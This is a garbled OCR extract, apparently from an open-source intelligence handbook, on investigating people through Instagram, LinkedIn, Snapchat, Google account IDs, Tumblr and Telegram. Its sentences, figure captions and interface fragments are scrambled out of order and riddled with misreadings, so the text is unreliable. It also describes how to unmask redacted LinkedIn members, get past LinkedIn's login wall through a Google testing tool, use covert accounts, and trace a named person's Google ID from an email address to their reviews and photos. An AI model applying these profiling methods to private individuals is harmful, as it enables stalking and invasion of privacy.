Likes & Comments "created_at": 1543069622 for this translation. 102w 1 like Reply Figure 12.04: "Like" data within an Instagram post. Complete Post Analysis 212 Chapter 12 urban_disruptive_tech Damnit Darren, now I gotta go buy some beer... 1543045570 is a Unix timestamp as we saw before within Instagram source code. This is a way to track time as a running total of seconds. This count starts at the Unix Epoch on January 1st, 1970 at UTC. Therefore, the Unix timestamp is the number of seconds between a particular date and the Unix Epoch. In our example, 1543045570 represents 11/24/2018 @ 2:27pm (UTC). I used unixtimestamp.com for this translation. Similar to Twitter, users can "Like" or comment on each post. Unique from Twitter, this is only seen when you load the target post in your browser. In other words, if a user posts a comment to a photo published by our target, we do not see that comment within the account of the person who made it. We only see it within the specific post directly from the target. We also cannot search within Instagram by keyword in order to identify comments, but we can with Google as explained momentarily. First, let's focus on Likes. • View the source code of https://www.instagram.com/p/BKI KWEthQkb. • Search "1080" within the source page. • Copy the entire URL including "1080". • Paste the modified URL into a browser and download die full version of the image. Viewing an individual Instagram post reveals a heart icon below any comments. Clicking that icon "likes" the post from your account, so this should be avoided. Directly below the heart is a summary such as "557 Likes". Clicking on this opens a new window, which identifies each account that liked the post. Slowly scrolling through this list expands it until all accounts are present. Similar to the previous mediod of capturing friends and followers of a target, a manual approach is best here. Pressing "Ctrl" + "A" or "command" + "A" on the keyboard selects all of the content, and "Ctrl" + "C" or "command" + "C" copies it to your computer memory’, which can be pasted into a spreadsheet or word processor. You can repeat this process for the comments within the post. If you locate a comment which is valuable to your investigation, you may want to document the date and time of the post. This is not available within the standard view. As an example, look at the post at https://www.instagram.eom/p/Bqi6r9uA0Y3. Inside the comments includes a response of "now I gotta go buy some beer" from a friend. At the time of this writing, Instagram displayed "102w" under the post, as seen in Figure 12.04, indicating it was posted 102 weeks previous to the current date. This is not sufficient for our needs. XXTiile on the page, right-click and choose the option to view the source code. Next, search for the terms (now I gotta go buy some beer) and notice the text immediately after the result, as displayed below. Assume that you have located your suspect (https://www.instagram.com/hak5darrcn) and found an incriminating post on his account (https://www.instagram.eom/p/BKlKWEdiQkb). This is a high-priority’ investigation, and extensive manual documentation is justified. You have already’ attacked his account with Instaloader and Instalooter as explained in previous chapters. You possess all of the images from the account. The following outlines the next steps 1 would take toward this target. Posts Following Figure 12.05: A spreadsheet created from a target Instagram post. Channels https://www.instagram.com/ambermac/channel/ Social Networks: Instagram 213 W’liile Instagram was user-submitted videos. Many profiles directly via URL with the following 23 httpsy/www.ln$tagram.com/p/BEnKp-4G9Sg/ 24 httpsy/www.lnstagram.eocn/p/BEnKgNCm9SP/ 25 httpsy/www.lnstagramxam/p/BEnJbyBm9RF/ 26 https://www.lnstagram.eom/p/BEnJDgWm9ai/ 4 BKlKWEthQkb Followers You now have a spreadsheet with multiple pages inside it. The first provides the comments, details, and likes of a specific post. The second displays all of the target's followers. The third shows his friends, and the fourth provides the direct URL of every post for later analysis or extraction. Figure 12.05 displays a partial view' of my example, highlighting the final sheet created. This was a lot of work, and I do not replicate these steps for every Instagram investigation. You must decide when the extra work is warranted. Unfortunately, there is no reliable automated solution which extracts all data. Opening a video page allows you to play die content and see any details such as likes and comments. Capturing the text data can be done using the techniques previously explained. However, saving the video introduces new challenges. While the video URL is embedded into the source code of the page, it requires heavy modification in order to replicate the content in a format which can be archived. Instead, we will rely on our browser to help us locate the stream. While viewing any Instagram video page, launch die "Inspector" tool widiin your Firefox or Chrome browser. You should be able to simply right-click on the page and select "Inspect Element". If this is not visible, you can launch Inspector from the Developer Tools within the browser menu. Within Inspector, click the "Network" tab and play the video. If the video was already playing, reload the page. The inspector will display a lot of information which can seem overwhelming. Instead of manually filtering through these network connections, simply type "mp4" within the search field directly below the "Network" tab. This should eliminate all of the data and leave you with one URL. Right-click this URL and select "Open in New Tab". Figure 12.06 displays these options. The new tab within your browser should present the same video in full-size resolution. You can now right-click on the video and select the option to save it. • Return to https://www.instagram.com/p/BKlKWEthQkb. • Scroll through the comments, and expand any if necessary, by clicking "+". • Click the summary of likes below the heart icon. • Scroll until all arc loaded, select all with "Ctrl" + "A" or "command" + "A" on keyboard. • Open a new spreadsheet through Microsoft Office or LibreOffice and paste the results. • Rename this tab "BKlKWEthQkb" and open a new tab. • Repeat the process with any other posts of interest. • Return to the account (https://www.instagram.com/hak5darren) and click "Followers". • Load the data, copy it, and paste it into the new sheet titled "Followers". • Repeat the process for "Following". • On the target profile, scroll down until all posts are loaded and select/highlight all. • Right-click, choose "Copy selected links", and paste data into a new sheet titled "Posts". originally introduced as a photo-sharing platform, it is quickly becoming dominated by now include a video channel page titled "IGTV". This can also be accessed structure. IO_n.mp4?efg=eyJ2ZV Figure 12.06: The "Inspector" utility within Firefox identifying Tagged Users https://www.instagram.com/hak5darren/tagged/ Google Instagram Search sitednstagram.com "hak5darren" "pager" site:instagram.com "hak5darren" "snubs" Twitter Instagram Search 214 Chapter 12 Method GET Domain File scontent-sjc3-1.cdninstagr_. 1000000 Copy Save All As HAR Resend Edit and Resend Block URL Open in New Tab see the "Tagged" link direcdy This may all seem tedious and complicated. While there are browser extensions which simplify these processes, they are replicating the manual methods presented here. Knowing these manual functions allows you to explain the capture process when mandated. When 1 testified in criminal trials about my online evidence, 1 proudly explained the ways 1 captured evidence from the source rather than relying on third-party tools which do not disclose their exact methods. Instagram allows users to be tagged within posts. On any target profile, you may above the images. You can also navigate direcdy with the following structure. an Instagram video MP4 file. This confirms that Google indexed the post, but did not present it when I searched the suspect's Instagram username. This means that we should also query search terms when we conduct searches associated with a target The search tools presented in a moment simplifies this, but let's conduct one more manual attempt. I see that "hakodarren" posts comments to "snubs" within his posts. I would like to search for any Instagram posts, within any accounts, which contain either a mention of or comment by both "hak5darren" and "snubs". The following is appropriate. We have exhausted all useful aspects of collecting data from within Instagram.com. The search functions arc extremely limited there, so we must utilize a third-party' search engine to find further data and connections. In my experience, Google is our best option, and you should be familiar with die queries conducted at the beginning of the chapter. Let's conduct a demonstration. Earlier, we searched sitctinstagram.com "hak5darren" and received 165 results. Browsing through these three pages reveals no evidence of a post including the word "Pager". However, I know he posted a photo with that term in the tide. Searching the following reveals the target post. Many people who post to Instagram broadcast the links on Twitter. Following this data can reveal unique comments from Twitter users. In rare scenarios, it can reveal Instagram posts from private accounts. Posts themselves arc not private, only ACCOUNTS are private. If I know die exact URL of your "private" post, I should be able to see the content. If you post an Instagram link on your public Twitter account, that post is not R O Inspector 0 Console O Debugger Network {} Style Editor O Performance O Memory Q Sto 0 T mp4 © I I Q, Q All HTML CSS JS XHR Status site:twitter.com "hak5darren" "instagram.com/p" Third-Party Tools Search My Bio (searchmy.bio) Instagram Stories InstaFollowcrs (instafollowers.co/download-instagram-stories) Ingramer (ingramer.com/tools/stories-viewer/) Social Networks: Instagram 215 This service is very similar to the previous and should present most of the same data. My complaint with this option is that you are limited to three free searches each day. While InstaFollowcrs appears to offer unlimited search, Google Captchas during each becomes quite tiresome. Third-part}' Instagram tools appear and disappear rapidly. After publication, 1 will continue to update the Instagram search tool with new features, as explained next. Of these, Instafollowers has been the most beneficial. It was the only option which displayed "Stories Highlights" of previously expired content and easily allowed download of all stories directly through Instagram. Consider the following example. Using their search tool, 1 conducted a query for my target Several "Stories" were presented with a "Download" button below each. That button forwarded me directly to the Instagram host of each video. Each link is quite long, but should load the video directly in your browser. Right-clicking should present the option to download the file. Because of these reasons, we should always check Twitter for Instagram posts. The user "hak5darren" on Instagram is also "hak5darren" on Twitter. The following Google search identifies posts on Twitter (site:twitter.com) which mention "hack5darren", and possess an Instagram image URL (instagram.com/p). private. If you post images to Instagram and have no followers, you may post the same link to Twitter where you have an audience. Overall, the various Instagram search websites do nothing more than what we replicated in the previous instruction. However, these sites could identify that one piece of vital evidence which we missed. Therefore, it is always best to have as many resources as possible. I have found the following third-part}’ resources beneficial to my investigations. This site was mentioned previously in the Twitter tools. It indexes Instagram account biographies (bios) and makes them searchable. The bios are the brief description of the account, as provided by the user. These often include additional usernames, locations, interest, and contacts. A search of the term "gmail.com" within this site revealed 312,314 profiles which include an email address within the bio. I often use this sendee to seard Snapchat usernames with hopes of connecting an account to an Instagram profile. Instagram Stories are vertical photos or videos, up to 15 seconds in length, which disappear 24 hours aftei posting. Instead of being displayed in the user's feed, they are displayed at the top of an active user's app when they are logged in. Since Stories disappear quickly, they are often used much more casually than the public Instagram feed. I have found the following utilities helpful for displaying and downloading this temporary content. 1 demonstrate each. Downloader for Instagram (downloadcr-for-ig.com) ■ instagramxorrOntSdx'rrn' □ © © V @ o Initagiam Posts found on page: 869 Q hak5darren — Rango from 869 posts 5,361 followers 215 f J Ad. anted Figure 12.08: Exported Instagram content. tally reverses the suspension. Dumpor (dumpor.com) 216 Chapter 12 Username: https://dumpor.com/v/ambermac Tag: https://dumpor.eom/t/osint B hak5darren_101133968_11...291175493625346_n.jpg a hak5darren_103726668_5...989457810713875_n.jpg □ hak5darren_104209269_9...90750445682525_n.mp4 W hak5darren_104215142J1...8164067031622751_n.jpg & hak5darren_105383679_2...129516435600642_n.jpg ■ hak5darren 106477476 6...710987908679803 n.jpg Darren Loving life and living the dream. Mainly ph hak5.org Today at 7:47 PM Today at 7:47 PM Today at 7:47 PM Today at 7:47 PM Today at 7:47 PM Today at 7:47 PM Figure 12.07: An Instagram profile with download options. to 150 From an evidence perspective, I believe it is best to obtain your Instagram data from the official website. However, account requirements can might hinder your investigation. Some organizations prevent employees from using any covert account to access data about a target. If logging in to Instagram is prohibited, consider Dumpor. This sendee allows you to navigate through a person's Instagram posts without the need for an account You can search a username or tag from the main site, or submit a direct URL query as follows. I realize this chapter presents many technical ways of acquiring Instagram user data which can be simplified with browser extensions and Python tools. Searching the Chrome store for Instagram extensions will provide many options. While 1 do not rely on these for my daily investigations, 1 understand the allure for easier solutions. If you want to install a browser extension which simplifies downloads of data, my preference is "Downloader for Instagram". After installation, you should see new download options within Instagram profiles and posts. Figure 12.07 displays our target's profile with a new green download option in the upper right. Clicking this presents a menu which allows download of all photos and videos from his account. Clicking "Download" prepares an archive of the data which is presented as a single zip file. This file contains all of the images and videos within die account. Figure 12.08 displays a partial result. Each file name includes the Instagram username and the post identifiers. While this solution seems ideal for daily use, I have some bad news. I have witnessed suspension of Instagram accounts when using automated extensions such as this. Always log in to a "junk" account and expect that you may be blocked. Logging back in to the account and completing a Captcha usually reverses the suspension. IntclTechniqucs Instagram Tool Populate All) r IntclTechniqucs Tools Search Engines Username Username Facebook Twitter Linkedln Communities Email Addresses A Usernames Names Telephone Numbers Maps J Documents Figure 12.09: The IntelTechniques Instagram Tool. Social Networks: Instagram 217 [Username | Search Terms i Username Username Username Username Username Username Username Search Terms Search Terms Search Terms Hashlag IG Hashtags IG Terms SearchMyBio DumporTag User + Term Associations Username Username Username IG UserID IG User ID j[ j L If this all seems like a lot of work for minimal information, consider using my custom Instagram Tool. Figure 12.09 displays the current version of this page, which includes some of the search options previously discussed. It cannot replicate the source code techniques, but may save you time with username and keyword searching. IG Profile IG Channel IG Tagged | ; [ Outgoing Search ] [ Incoming Search [ Bing Search | ,, Yandex Search j ,: Twitter Posts j I; Dumpor Profile ] |[ Followers j Following ] ! 218 Chapter 13 Lee’s start with the most popular options and work our way down to the niche sites. Linkedln (linkedin.com) popular. It is owned -j Social Networks: General 219 People: (https://www.linkedin.com/search/results/people/?keywords=john wilson) This is the most common filter which presents profiles of people. Further filtering includes location and employer. This URL would find people named John Wilson. Posts: (https://www.linkedin.com/search/results/content/?keywords=john wilson) This option is similar to Facebook and presents posts including the provided search tenns. This helps find content about (or by) our target. Further filters include search by date, author, and industry’. Ch a pt e r Th ir t e e n So c ia l Ne t w o r k s : Ge n e r a l It is impossible to mention even a fraction of potential networks which may contain online evidence about your target. Instead, I focus on those which have large numbers of members and are common to most internet users. My goal was to present various investigation tactics within each popular community which can be carried over to networks which are not discussed. When it comes to business-related social networking sites, Linkedln is the most popular. It is owned -j Microsoft and currendy has more than 675 million subscribers internationally. The site requires searchers to create a free profile before accessing any data. As with any social network, I recommend creating a basic account with minimal details. The search field of any page offers a search using a real name, company, location, or title. These searches will often lead to multiple results which identify several subjects. The site was redesigned in 2020, which provides new options. The upper center portion of any search result page will offer some basic refinements to the search to filter by People, Posts, Companies, Groups, Jobs, Schools, and Events. These can also be queried by direct URL. The following includes a summary of each filter and the direct search URL which we will add to our custom search tools. On the contrary, I believe online communities cater to a niche audience and are likely ignored by the masses which do not have a similar interest. I place TikTok and dating sendees in this category’. Most people on Tinder are single and TikTok primarily consists of a young audience. These are specialty sites with which my mother is unfamiliar (I hope). I divide general social networks and online communities over the next two separate chapters. For OSINT purposes, I believe social networks are defined as generic areas which cater to a wide audience with various interests. We see much more general engagement between members within these platforms. People from all walks of life are on Linkedln and Snapchat, regardless of their profession or age. As an example, the Google "site" queries which will be used to identify Linkedln content can also be used for hundreds of other networks. Please watch for techniques instead of specific resources or links. I promise that the following methods will need to be adjusted over time, but the overall strategies should prove to be useful when we see changes in the search infrastructure from the networks. Facebook, Twitter, and Instagram will each provide more data than all other social networks combined. However, there are many other options, and all should be researched. While we see high usage on the most popular sites, we may not see much incriminating evidence. Instead of finding your suspect confessing to your investigation on Facebook or Twitter, you may be more likely to find his grandmother testifying to his innocence. Smaller networks often provide more intimate details. Your suspect may feel exposed on the bigger networks, but a bit more private on smaller websites. Profiles https://ww,w.linkedin.com/in/ambermac/ Posts enable this hidden content before 220 Chapter 13 1 Schools: (https://www.linkedin.com/search/results/schools/?keywords=john wilson) This queries schools with the keywords in the title. Events: (https://www.linkedin.com/search/results/events/?keywords=john wilson) This queries events with the keywords in the tide. Companies: (https://www.linkedin.com/search/results/companies/?keywords=john wilson) This query strictly identifies companies which include the searched keywords. Further filters include location, industry’, and company size. • Clicking the three dots within a post allows you to copy a static URL of the content, which is beneficial during documentation. • Expanding all comments before generating a screen capture presents additional evidence within your documentation. • Many posts are redacted to save space. Click "...see more" to generating a screen capture. Jobs: (https://www.linkedin.com/jobs/index/?keywords=john%20wilson) This presents current job openings and includes numerous additional filters. While beneficial for employment­ seekers, I find this less useful than die other queries when my target is a person. However, it can be quite useful when investigating a company. Network penetration testers can use this to identify software applications used by the client, which could lead to identification of vulnerabilities. The profiles on Linkedln often contain an abundance of information. Since this network is used primarily for business networking, an accelerated level of trust is usually present. Many of the people on this network use it to make business connections. Some of the profiles will contain full contact information including cellular telephone numbers. This site should be one of the first stops when conducting a background check on a target for employment purposes. The target profile often contains previous employment information, alumni details, and work associates. Aside from searching names and businesses, you can search any keywords that may appear within someone's profile. Since many people include their phone numbers or email addresses in their profile, this can be an easy way to identify the user of that specific data. Visiting this profile identifies further information as well as confirmation of the target number. You can also search Linkedln for a specific username, which may be directly associated with a profile. As an example, the following URL connects directly to a target. In years prior, Linkedln was a place to create a profile and communicate directly with another person. Today, it is a true social network with Posts, Likes, and Comments. Conducting a keyword search through any Linkedln page or my own custom tool will present anything applicable. From there, consider the following. Groups: (https://www.linkedin.com/search/results/groups/?keywords=john wilson) This option presents Linkedln groups which contain your keyword within the title or description. It does not search for member names. Knowing the real name of your target will be most beneficial. The results page should include the target's employer, location, industry, and possibly a photo. After identifying the appropriate target, clicking the name will open that user's profile. If searching a common name, the filters will help limit options. Searching by Personal Details https://www.linkedin.com/search/results/people/Pkeywords-john%20smith Instead of the default "keywords" parameter, let's force a change with the following URL. https://www.linkedin.com/search/results/people/PfirstName—john&dastName—smith siteavww.linkedin.com John smith Microsoft manager Oklahoma Searching by Company Social Networks: General 221 https://www.linkedin.com/search/results/people/PfirstName—john&lastName-smith &company=microsoft https://www.linkedin.com/search/results/people/?firstName=john8dastName=smith &company=microsoft&title=manager&school=Oklahoma • Clicking the number next to the "clapping hands" icon presents a list of people interested in the post, which looks almost identical to the Instagram options. • The Instagram capture techniques previously presented work the same for Linkedln. https://www.linkedin.com/search/results/people/PfirstName-john If you wanted to go further, we could specify his title (Manager) and school (Oklahoma) in the following URl . If you know these details about your target, you could start with this, but I find that providing too many details can work against you. Figure 13.01 displays the result of this URL, which identified the only person on Linkedln which fit the criteria. If you are searching for employees of a specific company, searching the company name often provides numerous profiles. Unfortunately, clicking on any of these profiles presents a very limited view with the name and details redacted. The name of the employee is usually not available, but the photo and job description are usually visible. The previous URL query is the most precise option we have. This has been the most beneficial structure 1 have found to navigate directly to my target. However, it can fail. If your suspect did not provide the school attended or current employer to his profile, you will not receive any leniency from Linkedln within this search. However, we can rely on Google to help us. Your target may have mentioned an employer somewhere else within the profile or listed a school within the "Interests" area. The following reveals many profiles associated with the target. You might get lucky and find your target with a simple name search. Unfortunately, this is rarely the case. With hundreds of millions of profiles, Linkedln must make some assumptions when choosing the profiles to display after a search. This is especially true with common names. Let's conduct several queries as part of a demonstration of Linkedln's URL structure. Searching "John Smith" produces practically useless results at the following URL. Changing to "firstName" displays content associated with people named John. This is still fairly unhelpful and includes a lot of content which is not applicable to our target. Now, let's specify the full name of our target in the following URL. The results now only include links to profiles of people with the real name of John Smith. This is much more useful and may be all you need to identify your target. With a name such as John Smith, we need to go a few steps further. The following URL adds his employer (Microsoft). circles as the target, in order to get site:linkcdin.com "Account Executive at Uber" v my target, including her Figure 13.01: A Linkedln result via direct URL. Figure 13.02: Redacted employee results from a business search. 222 Chapter 13 Showing 1 result John Smith Sales Manager at Microsoft Oklahoma City, Oklahoma Area You are now required to upgrade to a premium account, or be in the same further information. Instead, consider the following technique. , Linkedln Member u—Account Executive at UBER Greater St Lou is Area Current: Customer Service Reoresentathe at Uber Another way to accomplish this is to navigate through the profiles in the "People also viewed" column. These pages include other profiles viewed that are associated with whichever person you are currently analyzing. These people may not be friends or co-workers with your target, but there is a connection through the visitors of their pages. As an example, I returned to the Google search at the top of this page. I clicked on the first search result, which was not my target. However, in the "People also viewed" area to the right, 1 saw full name and a link to her complete profile. Figure 13.03 (right) displays this result. Finally, the last option is to conduct a reverse image search on the photo associated with the target's profile. Full details of this type of search will be presented later. For this demonstration, I will right-click on her photo and choose "Copy image location". On the Google Images page, I can click the camera icon and submit this URL. While the first result is not the target, clicking the page does present a link to the target's unmasked page. 1 will later explain many detailed ways to fully query reverse image search options within the upcoming Images chapter. Search for the business name of your target company, or the employer of your target individual. 1 typed "Uber" into the search bar and received the official business page on Linkedln. Clicking the "See all 88,788 employees on Linkedln" link presented me with numerous employee profiles such as those visible in Figure 13.02. Notice the names are redacted and only "Linkedln Member" is available. Clicking this first result prompts me with "Profiles out of your network have limited visibility. To see more profiles, build your network with valuable connections". We struck out, but there are ways that you can proceed in order to unmask these details. First, copy die entire job description under the "Linkedln Member" tide. In this example, it is "Account Executive at Uber". Use this in a custom Google search similar to the following. Linkedln Member •I'W Cu5tomcrRelations Greater St. Lovi; Area Current: Subcontractor at Uber Tlie results listed will vary from personal profiles to useless directories. Since Uber is such a large company, I had to view many pages of results until I identified my target. When 1 opened the 24,h search result, the Linkedln page loaded, and her photo confirmed it was the correct target. The easier way would have been to search the images presented by Google. After the above search is conducted, click on the Images option within Google and view the results. Figure 13.03 (left) displays a section, which easily identifies the same image as the Linkedln Larger. Clicking this wall load the profile page with full name and details. Figure 13.03: Google Images results (left) and un-redacted Linkedln results (right). Searching by Country PDF Profile View Google Search Google Images https://www.google.com/search?q=site:linkedin.com+john+smith&tbm=isch Google Videos https://ww\v.google.com/search?q=site:linkedin.com+john+smith&tbm=vid Bing Search Social Networks: General 223 owns Google While Google is typically our most powerful search engine, I prefer Bing for Linkedln queries. Microsoft both Bing and Linkedln, and indexes Linkedln data well. The following search on Bing replicates our " attempt, followed by the direct URL. People Alio Vic-Aid William BOUSQUET Anais Trincl You may want a quick way to collect the publicly available details from the profiles that you find. One option is to have Linkedln generate a PDF of the information. While on any profile, click the "More..." button and choose "Save to PDF". This will not extract any private details, but will make data collection fast. The results may be overwhelming. Often, 1 know the face of my target and I simply want to browse imag<L from Linkedln. The following URL queries Google for any images (&tbm=isch) associated with my targets name (john+smith) on Linkedln (sitedinkedin.com). In a moment, we will replicate all of this with my tools. When all else fails, go to Google. It scrapes and indexes most of Linkedln's profiles and pages. The following search would identify profiles of our target, followed by the direct URL. site:www.linkedin.com john smith microsoft https:// www.googlc.com/search ?q=si tc%3Awww.linkcdin.com+john+smith+microsoft sitc:linkedin.com john smith microsoft https://www.bing.com/search?q=sitc%3Alinkedin.com+john+smith+microsoft While Linkedln is an American company, it is a global social network. If you know that your target is in a specific country, you can filter your search accordingly. This can be done manually by navigating to a foreign subdirectory such as uk.linkedin.com (UI<), ca.linkedin.com (Canada), or br.linkedin.com (Brazil). Each of these pages query the entire Linkedln network, but each places emphasis on local individuals. Many Linkedln posts contain embedded videos. While a keyword search directly on Linkedln may not find them, a query on Google should. The following URL replicates our image search, but focuses only on videos (&tbm=vid) Yandex Search Viewing Without Account 3 Join to view full profiles for free First name Last name Email or phone number Password (6 or more characters) About Already have an account? Sign In Amber Mac is an entrepreneur (Amberl Figure 13.04: A Linkedln profile login, mobile version bypass, and full profile view. 224 Chapter 13 E ' . Amber Mac AmberMac Media Inc. Other • 500 • conneoions on Yandex • Click on tlie "HTML" tab above the profile on the test page. • Click the "Copy" icon above the source code. • Navigate to CodcBcautify (codebeautify.org/htmlviewer) and paste the HTML code. • Click "Run" and view the entire Linkedln profile without requiring an account. Partial results are displayed in the highly compressed image in Figure 13.04 (right). The entire page is visible. You should be able to replicate this for any public Linkedln page. This works because Google's servers have the authorization to bypass Linkedln's credentialing requirements during their indexing of Linkedln. Now, we do too. sitedinkedin.com john smith microsoft https://www.yandex.com/search/?text=site%3Alinkedin.com+john+smith+microsoft Even' Linkedln method presented until now requires you to possess a valid Linkedln account and to be logged in to see any content. Without an active account, all Linkedln pages display a prompt to log in. This can be an issue if you do not have an account or your departmental policies prohibit the use of any credentials during an investigation. We can solve this with Google's Mobile Friendly Test (search.google.com/tcst/mobile-friendly). Enter any Linkedln URL, such as the profile located at http://linkedin.com/in/ambcrmac. The result appears as the mobile view of this profile including the target's name, image, and bio. Figure 13.04 (left) displays the results from the target Linkedln URL without an account while Figure 13.04 (middle) displays the results of the same URL on Google's test page. We can also submit scarch.google.com/test/mobile- friendly?url=http://linkedin.com/in/ambermac directly within our browser to replicate this process. This is a great start, but the results are limited. The preview only displays a portion of the Linkedln profile. Instead, consider the following. Finally, we should always consider Yandex as a Linkedln search engine. The following search replicates our Google attempt, followed by die direct URL. By clicking Agree & Join, you agree to the Linkedln User Agreement, Privacy Policy, and Cookie Policy. IntelTechniques Linkedln Tool First Name Last Name IntelTechniques Tools Title Face book Last Name First Name Twitter Title Schocl Instagram Last Name Title School Email Addresses Usernames Last Name First Name Names Title School Telephone Numbers Maps Last Name First Name Documents Title School Pastes Images Videos Domains IP Addresses Business & Government Username Mobile Profile Username Virtual Currencies Username or Real Name Username or Real Name Data Breaches & Leaks Search Terms Figure 13.05: The IntelTechniques Linkedln Tool. Snapchat (snapchat.com) Social Networks: General 225 Kayworp Company Bing Search Keyword Company ' po « s «7<S_ Keyword Company Yandex Search ' Keyword Company Peru Communities Story Search: (https://story.snapchat.eom/s/inteltechniques) This option loads the most recent Snapchat "Story" from the specified user. It then cycles through older stories from that user. Keyword Company Google Search Google Photos Bing Photos Videos Event Search Job Search Company Search Group Search School Search Keyword Keyword Keyword Keyword Keyword These search techniques may seem complicated, but we can simplify them with a custom search tool. The "Linkedln" section of the tool, which you previously downloaded possesses several advanced search features, as seen in Figure 13.05. Most techniques mentioned in this section are available as automated queries within this tool. Overall, Snapchat is a difficult OSINT resource. It is available officially as a mobile application, and there is minimal native web search. The majority of the content is set to auto-destruct after a specific amount of time, and is privately delivered from one user to another. In 2018, we started to see much more public content and in 2020 we saw better search options. While there are some extended search options within the app itself, 1 will only focus on traditional web resources here. Let's start with official options within the Snapchat website. Keyword Search: (https://story.snapchat.com/search?q=osint) This queries the search term throughout Snapchat. I find it to fail often, but should be attempted. Search Engines Firs: Name School ’arson Search 5 I Figure 13.06: A Snap Map result from an airport. Third-Party Snapchat Search SoVIP (sovip.io) Ghostdex (ghost.com) navigate directly to Google/Bing/Yandex 226 Chapter 13 ITT This service offers search with filtering by user, location, age, and gendi is as follows. •(g.) Lw a https://www.sovip.io/?pa=l&q=inteltechniques may forward to the "Story" page, Enter a username within the search option or navigate directly to snapdex.com/celebrity/mike and view’ the bio, a profile picture, location data, and public "snaps". This will only be useful if you know your targets Snapchat name, as any additional search features appear missing. Note that creating a Snapchat username is optional, and many profiles cannot be searched this way. You should expect by now' that we can use traditional search engines to query specific sites and services. A query of site:snapchat.com "inteltechniques" would search for any mention of "inteltechniques" within Snapchat across the three major search engines. Similar to Tumblr, I include Snapchat query options within the Username Tool, which is explained later. Snap Map: (map.snapchat.com) This interactive map allows you to query public "Stories" by location. In Figure 13.06, I have zoomed into LAX and 1 can click on any of the heat maps to load a post. You will sec the approximate time in the upper left, but not much additional information. Viewing the source code of any story page will display a static URL to die post, but no additional details. 1 only find this service valuable when monitoring a high-profile event at a specific location. The search feature allows entry of a location in order to quickly zoom to an area of interest. User Search: (littps://www.snapchat.com/s/inteltechniqucs) This option w’hich can also sen e as the landing page for that profile. Once you have exhausted official search options through Snapchat, you should consider third-party options. These will never include all Snapchat data and will usually focus on the most popular accounts. Any non-official Snapchat service relies on its own successful scraping of Snapchat, and no third-party options possess the entire Snapchat database. Therefore, we must ahvays include numerous search options. These sendees appear and disappear rapidly, but an online search for "Snapchat search users" should identify any replacements. A direct URL for a username search " 'I ! & Google Networks https://www.google.com/maps/contrib/100202552162672367520 Email: [email protected] Name: Justin Seitz tfb Like Share figure 13.07: Google ID number (left) associated with a map review (right). Social Networks: General 227 • Log in to any covert Google account and navigate to mail.google.com/chat. • Right-click on the page and select "Inspect". • Click "Find a Chat" and enter your target's email address. • Strike enter but do not send any communication. • In the "SearchHTML" field, enter the email address of your target. Photos https://get.google.com/albumarchive /100202552162672367520/albums/profile- photos Maps https://www.google.com/maps/contrib /100202552162672367520 ■H* a year ago I have purchased MIDI controllers, audio interfaces, and D J controllers from AVShop.ca and their service is by far one of the best in online retailing. Quick responses, easy to update order mistakes, knowledgeable staff and great inventory. Keep coming back to them time and time again! AVShop.ca 235 Hood Rd #1, Markham, ON L3R 4N3, Canada GooglelD: 100202552162672367520 Last Update : 2021^16-3^1 tPr'57:0~9 Every Google account has been issued a specific numeric ID which associates the account with any Google sendee used. This includes Gmail addresses, YouTube accounts, photo albums, and other areas. My goal is always to identify the Google ID and then research any areas which may be associated with my target. First, we must find the ID itself. There are several ways, let's start with the manual option. https://get.google.com/albumarchive/100202552162672367520 https://www.google.com/maps/contrib/100202552162672367520 We now know his interests and potential area of residence. We can also use this technique to confirm association from our target to malicious negative reviews. My success rate of viewing public photo albums with this method is low, but the availability of mapping data has been high. This will immediately display reviews of businesses and photos of locations which have been shared by your target with the Google Maps sendee. Let's conduct a real example using my friend Justin Seitz as the target. We know his personal email address [email protected] (he is the creator of Hunchly and provided permission to do this). This means that he has a valid Google account, so he should also have a Google ID. I used the Epieos tool to search his email. The result appears in Figure 13.07 (left). This identifies his Google ID as "100202552162672367520". The following URL displays his Google map contributions. Clicking "Reviews" presents the content in Figure 13.07 (right). Striking enter or return on your keyboard should cycle through the results. One of the results should contain data such as "data-member-id="uscr/human/100202552162672367520". The numbers after "human/" is the Google User ID of your target. I typically document this within my report for future reference. You can also use the automated sendee at Epieos (tools.epieos.com/cmail.php) to obtain this information. The following URLs would display any public photo albums and map contributions made by this target. Tumblr (tumblr.com) site:tumblr.com "osint" https://wwAV.tumblr.com/tagged / osint https://inteltechniques.tumblr.com/search/osint https://inteltechniques.tumblr.com/archive I have incorporated some of these queries into the Username Tool, which is explained in a later chapter. Telegram (telegram.org) 228 Chapter 13 site:telegram.me "osint" (2620 results) sitexme "osint" (22 results) site:telegra.ph "osint" (255 results) Many Tumblr blogs display a large layout which hides many of the posts. Therefore, I always prefer to browse a user's posts with the "Archive" display. the author's posts. It can also be queried with a direct URL. If ■hrunii^c1* term "osint", the following URL Usernames cannot be queried, but a direct URL may locate the content. If yo ur target uses "inteltechniques" on other sites, you may find applicable content at the following URL. https://inteltechniques.tumblr.com Most profiles contain a search field dedicated to t’ 2 __'_ r I ’ you wanted to search for any posts by "inteltechniques" which contain the term would apply. Tumblr was purchased by Yahoo in 2013, Verizon became the owner when it acquired Yahoo in 2017, but then sold Tumblr to WordPress owner Automatic in 2019. While I believe neither Yahoo or Verizon took advantage of the reach of this network, I suspect we will see Tumblr continue to thrive over the years under control of Automatic. Tumblr is half social network and half blog sendee. At the time of this writing, there were hundreds of millions of blogs and hundreds of billions of posts. These posts can include text, photos, videos, and links to other networks. The search method and layout are no longer user-friendly. The search feature will only identify blogs that were specifically Lagged by the creator with the provided search terms. I suggest using a custom Google search. As an example, I conducted a search of "osint" within the official Tumblr search and received three results. I then conducted the following search in Google and received the appropriate 611 results. Most content on Telegram is encrypted private communication between individuals. However, "Channels" were added in 2015 and have become quite popular. These are publicly visible and often include content replicated from other social networks and websites. There is no official search option on telegram.org, but options exist based on the public data. I have found site searches on Google to be the most helpful. The following examples may help explain. I searched "osint" within different official Telegram domains and received very unique results from each. Once you find a blog associated with your target, consider the Photo Gallery Tool explained in Chapter Four. It will retrieve all of the images and videos. Opening each post within a browser allows you to see and capture all "likes" and "reblogs". Similar to other networks such as Instagram, people can "tag" items with specific terms. The following URL presents any posts tagged "osint". At the time of this writing, the tag URL presented many more items than a keyword search on Tumblr. Third-Party Telegram Search Telegram Analytics (https://tgstat.ru/en) j osint) Subscribers , Growth ERR' Cl 372 2.2k 1.5k 149.6S6 1.9 Figure 13.08: A Telegram channel analysis. Telegram.im (telegram.im/tools/search.php) Access to Private Profiles Contact Exploitation Social Networks: General 229 a|| Telegram Analytics '»»r< Channels ranking Total OSINT mindset ■ nt rt • ds t Trd^iIGkx.K'J Post reach 1 have also 